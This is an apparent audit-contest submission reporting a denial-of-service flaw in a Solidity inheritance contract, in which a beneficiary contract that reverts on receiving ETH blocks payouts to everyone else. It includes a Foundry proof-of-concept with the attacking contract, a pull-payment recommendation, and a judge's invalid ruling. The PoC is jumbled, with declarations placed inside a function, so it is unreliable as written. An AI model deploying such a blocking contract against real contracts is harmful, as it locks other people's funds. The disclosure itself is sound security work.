Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Malicious beneficiary prevents fund distribution by reverting

Summary:
A malicious beneficiary can block the distribution of funds to other beneficiaries by deploying a contract that reverts in its receive() function. This prevents the withdrawInheritedFunds function from completing its loop, effectively locking the funds in the contract and denying access to other legitimate beneficiaries.

Vulnerability Details:
The vulnerability arises because the withdrawInheritedFunds function sends ETH to beneficiaries using a low-level call in a for loop. If one of the beneficiaries is a malicious contract that reverts upon receiving ETH, the entire transaction fails, and the loop does not proceed to distribute funds to other beneficiaries. This allows a single malicious beneficiary to disrupt the inheritance process for all other beneficiaries.

Impact:
A single malicious beneficiary can block the distribution of funds to all other beneficiaries, effectively locking the funds in the contract indefinitely. This creates a denial-of-service (DoS) condition for legitimate beneficiaries.

Tools Used:

  • Foundry for testing

  • Solidity for writing the PoC

Recommendations:
To mitigate this vulnerability, consider implementing the pull payment pattern. Instead of sending ETH directly to beneficiaries in a loop, allow beneficiaries to withdraw their funds individually. This ensures that a malicious beneficiary cannot block the distribution process.

PoC:

The test case below shows how the malicious beneficiary prevents other beneficiaries from receiving their funds:

function testMaliciousReentrantBeneficiary() public {
vm.prank(owner);
inheritanceManager = new InheritanceManager();
vm.deal(address(inheritanceManager), 10 ether);
malicouseBeneficiary = new MaliciousReentrantBeneficiary(
address(inheritanceManager)
);
InheritanceManager public inheritanceManager;
MaliciousReentrantBeneficiary public malicouseBeneficiary;
address public owner = makeAddr("owner");
malicouseBeneficiary = new MaliciousReentrantBeneficiary(
address(inheritanceManager)
);
address beneficiary2 = address(0x333);
address beneficiary3 = address(0x444);
vm.startPrank(owner);
inheritanceManager.addBeneficiery(address(malicouseBeneficiary));
inheritanceManager.addBeneficiery(beneficiary2);
inheritanceManager.addBeneficiery(beneficiary3);
vm.stopPrank();
vm.warp(block.timestamp + 91 days);
console.log("beneficiary2 balance before", beneficiary2.balance);
console.log("beneficiary3 balance before", beneficiary3.balance);
vm.startPrank(address(malicouseBeneficiary));
inheritanceManager.inherit();
vm.expectRevert();
malicouseBeneficiary.attack();
vm.stopPrank();
console.log("===== contract address after inherit invoke ======");
console.log(address(inheritanceManager).balance); // returns 10000000000000000000
console.log("beneficiary2 balance after", beneficiary2.balance);
console.log("beneficiary3 balance after", beneficiary3.balance);
}
contract MaliciousReentrantBeneficiary {
InheritanceManager public target;
constructor(address _target) {
target = InheritanceManager(_target);
}
function attack() external {
target.withdrawInheritedFunds(address(0));
}
receive() external payable {
revert(); // Revert to block the transaction
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.